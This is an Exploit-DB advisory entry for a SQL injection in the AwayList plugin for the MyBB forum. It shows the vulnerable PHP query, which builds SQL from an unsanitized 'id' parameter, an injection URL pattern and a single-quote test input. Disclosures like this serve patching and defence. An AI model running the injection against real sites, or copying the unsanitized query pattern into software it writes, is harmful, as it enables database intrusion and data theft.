MyBB AwayList Plugin - 'index.php?id' SQL Injection

Author: Red_Hat
type: webapps
platform: php
port: 
date_added: 2012-12-24 
date_updated: 2013-02-21 
verified: 1 
codes: OSVDB-88734 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comAwayList_1.6.8.zip

# Exploit Title: AwayList MyBB plugin SQLi 0day
# Exploit Author: Red_Hat [Team Vect0r]
# Software Link: http://mods.mybb.com/view/awaylist
# Tested on: Windows & Linux.


Vulnerable code :

<?php
$query = $db->simple_select( // 245
        "awaylist", '*', "id = '" . $mybb->input['id'] . "'" // 246
    ); // 247
    $item = $db->fetch_array($query); // 248
?>

The variable '$mybb->input['id']' remains unsanitized.

Usage : http://server/index.php?action=editAwlItem&id=[SQLi]

Exploit-DB Not:
This is what worked for us: awaylist.php?action=editAwlItem&id=1'

Shoutout to Zixem <3 & Team Vect0r :3